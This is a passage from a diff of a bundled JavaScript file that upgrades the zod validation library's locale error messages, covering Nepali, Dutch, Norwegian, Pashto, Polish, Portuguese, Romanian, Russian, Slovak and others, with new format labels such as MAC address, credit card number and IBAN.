`\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.includes}" \u0938\u092E\u093E\u0935\u0947\u0936 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: \u0922\u093E\u0901\u091A\u093E ${_issue.pattern} \u0938\u0901\u0917 \u092E\u0947\u0932 \u0916\u093E\u0928\u0941\u092A\u0930\u094D\u091B`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: ${issue2.divisor} \u0915\u094B \u0917\u0941\u0923\u091C \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u091E\u094D\u091C\u0940${issue2.keys.length > 1 ? "\u0939\u0930\u0942" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u091E\u094D\u091C\u0940: ${issue2.origin} \u092E\u093E`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u093E`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function ne_default() { + return { + localeError: error36() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nl.js +var error37 = () => { const Sizable = { string: { unit: "tekens", verb: "heeft" }, file: { unit: "bytes", verb: "heeft" }, array: { unit: "elementen", verb: "heeft" }, - set: { unit: "elementen", verb: "heeft" } + set: { unit: "elementen", verb: "heeft" }, + map: { unit: "elementen", verb: "heeft" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62833,12 +64672,16 @@ var error31 = () => { duration: "ISO duur", ipv4: "IPv4-adres", ipv6: "IPv6-adres", + mac: "MAC-adres", cidrv4: "IPv4-bereik", cidrv6: "IPv6-bereik", base64: "base64-gecodeerde tekst", base64url: "base64 URL-gecodeerde tekst", json_string: "JSON string", e164: "E.164-nummer", + credit_card: "creditcardnummer", + currency_code: "valutacode", + iban: "IBAN", jwt: "JWT", template_literal: "invoer" }; @@ -62908,17 +64751,132 @@ var error31 = () => { }; function nl_default() { return { - localeError: error31() + localeError: error37() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/no.js -var error32 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nn.js +var error38 = () => { + const Sizable = { + string: { unit: "teikn", verb: "\xE5 ha" }, + file: { unit: "bytes", verb: "\xE5 ha" }, + array: { unit: "element", verb: "\xE5 innehalde" }, + set: { unit: "element", verb: "\xE5 innehalde" }, + map: { unit: "element", verb: "\xE5 innehalde" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "e-postadresse", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dato- og klokkeslett", + date: "ISO-dato", + time: "ISO-klokkeslett", + duration: "ISO-varigheit", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", + cidrv4: "IPv4-spekter", + cidrv6: "IPv6-spekter", + base64: "base64-enkoda streng", + base64url: "base64url-enkoda streng", + json_string: "JSON-streng", + e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "tal", + array: "liste" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ugyldig input: forventa instanceof ${issue2.expected}, fekk ${received}`; + } + return `Ugyldig input: forventa ${expected}, fekk ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ugyldig verdi: forventa ${stringifyPrimitive(issue2.values[0])}`; + return `Ugyldig val: forventa eitt av ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ugyldig streng: m\xE5 starte med "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Ugyldig streng: m\xE5 slutte med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ugyldig streng: m\xE5 innehalde "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ugyldig streng: m\xE5 matche m\xF8nsteret ${_issue.pattern}`; + return `Ugyldig ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ugyldig tal: m\xE5 vere eit multiplum av ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ukjende n\xF8klar" : "Ukjend n\xF8kkel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ugyldig n\xF8kkel i ${issue2.origin}`; + case "invalid_union": + return "Ugyldig input"; + case "invalid_element": + return `Ugyldig verdi i ${issue2.origin}`; + default: + return `Ugyldig input`; + } + }; +}; +function nn_default() { + return { + localeError: error38() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/no.js +var error39 = () => { const Sizable = { string: { unit: "tegn", verb: "\xE5 ha" }, file: { unit: "bytes", verb: "\xE5 ha" }, array: { unit: "elementer", verb: "\xE5 inneholde" }, - set: { unit: "elementer", verb: "\xE5 inneholde" } + set: { unit: "elementer", verb: "\xE5 inneholde" }, + map: { unit: "elementer", verb: "\xE5 inneholde" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62942,14 +64900,18 @@ var error32 = () => { date: "ISO-dato", time: "ISO-klokkeslett", duration: "ISO-varighet", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spekter", cidrv6: "IPv6-spekter", base64: "base64-enkodet streng", base64url: "base64url-enkodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -63017,17 +64979,18 @@ var error32 = () => { }; function no_default() { return { - localeError: error32() + localeError: error39() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ota.js -var error33 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ota.js +var error40 = () => { const Sizable = { string: { unit: "harf", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, - set: { unit: "unsur", verb: "olmal\u0131d\u0131r" } + set: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, + map: { unit: "unsur", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63053,12 +65016,16 @@ var error33 = () => { duration: "ISO m\xFCddeti", ipv4: "IPv4 ni\u015F\xE2n\u0131", ipv6: "IPv6 ni\u015F\xE2n\u0131", + mac: "MAC ni\u015F\xE2n\u0131", cidrv4: "IPv4 menzili", cidrv6: "IPv6 menzili", base64: "base64-\u015Fifreli metin", base64url: "base64url-\u015Fifreli metin", json_string: "JSON metin", e164: "E.164 say\u0131s\u0131", + credit_card: "i'tib\xE2r kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "giren" }; @@ -63127,17 +65094,18 @@ var error33 = () => { }; function ota_default() { return { - localeError: error33() + localeError: error40() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ps.js -var error34 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ps.js +var error41 = () => { const Sizable = { string: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, file: { unit: "\u0628\u0627\u06CC\u067C\u0633", verb: "\u0648\u0644\u0631\u064A" }, array: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, - set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } + set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, + map: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63163,12 +65131,16 @@ var error34 = () => { duration: "\u0645\u0648\u062F\u0647", ipv4: "\u062F IPv4 \u067E\u062A\u0647", ipv6: "\u062F IPv6 \u067E\u062A\u0647", + mac: "\u062F MAC \u067E\u062A\u0647", cidrv4: "\u062F IPv4 \u0633\u0627\u062D\u0647", cidrv6: "\u062F IPv6 \u0633\u0627\u062D\u0647", base64: "base64-encoded \u0645\u062A\u0646", base64url: "base64url-encoded \u0645\u062A\u0646", json_string: "JSON \u0645\u062A\u0646", e164: "\u062F E.164 \u0634\u0645\u06D0\u0631\u0647", + credit_card: "\u062F \u06A9\u0631\u06CC\u0689\u06CC\u067C \u06A9\u0627\u0631\u062A \u0634\u0645\u06CC\u0631\u0647", + currency_code: "\u062F \u0627\u0633\u0639\u0627\u0631\u0648 \u06A9\u0648\u0689", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u064A" }; @@ -63242,17 +65214,18 @@ var error34 = () => { }; function ps_default() { return { - localeError: error34() + localeError: error41() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pl.js -var error35 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pl.js +var error42 = () => { const Sizable = { string: { unit: "znak\xF3w", verb: "mie\u0107" }, file: { unit: "bajt\xF3w", verb: "mie\u0107" }, array: { unit: "element\xF3w", verb: "mie\u0107" }, - set: { unit: "element\xF3w", verb: "mie\u0107" } + set: { unit: "element\xF3w", verb: "mie\u0107" }, + map: { unit: "element\xF3w", verb: "mie\u0107" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63278,12 +65251,16 @@ var error35 = () => { duration: "czas trwania ISO", ipv4: "adres IPv4", ipv6: "adres IPv6", + mac: "adres MAC", cidrv4: "zakres IPv4", cidrv6: "zakres IPv6", base64: "ci\u0105g znak\xF3w zakodowany w formacie base64", base64url: "ci\u0105g znak\xF3w zakodowany w formacie base64url", json_string: "ci\u0105g znak\xF3w w formacie JSON", e164: "liczba E.164", + credit_card: "numer karty kredytowej", + currency_code: "kod waluty", + iban: "IBAN", jwt: "JWT", template_literal: "wej\u015Bcie" }; @@ -63352,121 +65329,301 @@ var error35 = () => { }; function pl_default() { return { - localeError: error35() + localeError: error42() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pt.js -var error36 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt.js +var error43 = () => { const Sizable = { - string: { unit: "caracteres", verb: "ter" }, - file: { unit: "bytes", verb: "ter" }, - array: { unit: "itens", verb: "ter" }, - set: { unit: "itens", verb: "ter" } + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } }; function getSizing(origin) { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "padr\xE3o", - email: "endere\xE7o de e-mail", - url: "URL", - emoji: "emoji", - uuid: "UUID", - uuidv4: "UUIDv4", - uuidv6: "UUIDv6", - nanoid: "nanoid", - guid: "GUID", - cuid: "cuid", - cuid2: "cuid2", - ulid: "ULID", - xid: "XID", - ksuid: "KSUID", - datetime: "data e hora ISO", - date: "data ISO", - time: "hora ISO", - duration: "dura\xE7\xE3o ISO", - ipv4: "endere\xE7o IPv4", - ipv6: "endere\xE7o IPv6", - cidrv4: "faixa de IPv4", - cidrv6: "faixa de IPv6", - base64: "texto codificado em base64", - base64url: "URL codificada em base64", - json_string: "texto JSON", - e164: "n\xFAmero E.164", - jwt: "JWT", - template_literal: "entrada" + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "o intervalo de endere\xE7os IPv4", + cidrv6: "o intervalo de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } }; const TypeDictionary = { - nan: "NaN", - number: "n\xFAmero", - null: "nulo" + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tuplo", articles: Gender.masculine }, + record: { name: "registo", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "ficheiro", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; - if (/^[A-Z]/.test(issue2.expected)) { - return `Tipo inv\xE1lido: esperado instanceof ${issue2.expected}, recebido ${received}`; - } - return `Tipo inv\xE1lido: esperado ${expected}, recebido ${received}`; + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; } case "invalid_value": if (issue2.values.length === 1) - return `Entrada inv\xE1lida: esperado ${stringifyPrimitive(issue2.values[0])}`; - return `Op\xE7\xE3o inv\xE1lida: esperada uma das ${joinValues(issue2.values, "|")}`; + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; case "too_big": { const adj = issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) - return `Muito grande: esperado que ${issue2.origin ?? "valor"} tivesse ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; - return `Muito grande: esperado que ${issue2.origin ?? "valor"} fosse ${adj}${issue2.maximum.toString()}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; } case "too_small": { const adj = issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { - return `Muito pequeno: esperado que ${issue2.origin} tivesse ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; } - return `Muito pequeno: esperado que ${issue2.origin} fosse ${adj}${issue2.minimum.toString()}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; } case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") + return `Texto inv\xE1lido: deve come\xE7ar por "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Texto inv\xE1lido: deve terminar em "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; + if (_issue.format === "regex") + return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } + case "invalid_key": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } + return "Entrada inv\xE1lida"; + case "invalid_element": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + default: + return `Entrada inv\xE1lida`; + } + }; +}; +function pt_default() { + return { + localeError: error43() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt-BR.js +var error44 = () => { + const Sizable = { + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "a faixa de endere\xE7os IPv4", + cidrv6: "a faixa de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } + }; + const TypeDictionary = { + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tupla", articles: Gender.feminine }, + record: { name: "registro", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "arquivo", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } + }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); + const receivedType = parsedType(issue2.input); + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; + } + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { return `Texto inv\xE1lido: deve come\xE7ar com "${_issue.prefix}"`; + } if (_issue.format === "ends_with") return `Texto inv\xE1lido: deve terminar com "${_issue.suffix}"`; if (_issue.format === "includes") return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; if (_issue.format === "regex") return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; - return `${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; } case "not_multiple_of": return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; - case "unrecognized_keys": - return `Chave${issue2.keys.length > 1 ? "s" : ""} desconhecida${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } case "invalid_key": - return `Chave inv\xE1lida em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } return "Entrada inv\xE1lida"; case "invalid_element": - return `Valor inv\xE1lido em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; default: - return `Campo inv\xE1lido`; + return `Entrada inv\xE1lida`; } }; }; -function pt_default() { +function pt_BR_default() { return { - localeError: error36() + localeError: error44() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ro.js -var error37 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ro.js +var error45 = () => { const Sizable = { string: { unit: "caractere", verb: "s\u0103 aib\u0103" }, file: { unit: "octe\u021Bi", verb: "s\u0103 aib\u0103" }, @@ -63505,6 +65662,9 @@ var error37 = () => { base64url: "\u0219ir codat base64url", json_string: "\u0219ir JSON", e164: "num\u0103r E.164", + credit_card: "num\u0103r de card de credit", + currency_code: "cod valutar", + iban: "IBAN", jwt: "JWT", template_literal: "intrare" }; @@ -63581,11 +65741,11 @@ var error37 = () => { }; function ro_default() { return { - localeError: error37() + localeError: error45() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ru.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ru.js function getRussianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -63601,7 +65761,7 @@ function getRussianPlural(count, one, few, many) { } return many; } -var error38 = () => { +var error46 = () => { const Sizable = { string: { unit: { @@ -63634,6 +65794,14 @@ var error38 = () => { many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" }, verb: "\u0438\u043C\u0435\u0442\u044C" + }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" } }; function getSizing(origin) { @@ -63660,12 +65828,16 @@ var error38 = () => { duration: "ISO \u0434\u043B\u0438\u0442\u0435\u043B\u044C\u043D\u043E\u0441\u0442\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64", base64url: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64url", json_string: "JSON \u0441\u0442\u0440\u043E\u043A\u0430", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0432\u043E\u0434" }; @@ -63738,17 +65910,135 @@ var error38 = () => { }; function ru_default() { return { - localeError: error38() + localeError: error46() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sl.js -var error39 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sk.js +var error47 = () => { + const Sizable = { + string: { unit: "znakov", verb: "ma\u0165" }, + file: { unit: "bajtov", verb: "ma\u0165" }, + array: { unit: "prvkov", verb: "ma\u0165" }, + set: { unit: "prvkov", verb: "ma\u0165" }, + map: { unit: "polo\u017Eiek", verb: "ma\u0165" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regul\xE1rny v\xFDraz", + email: "e-mailov\xE1 adresa", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + 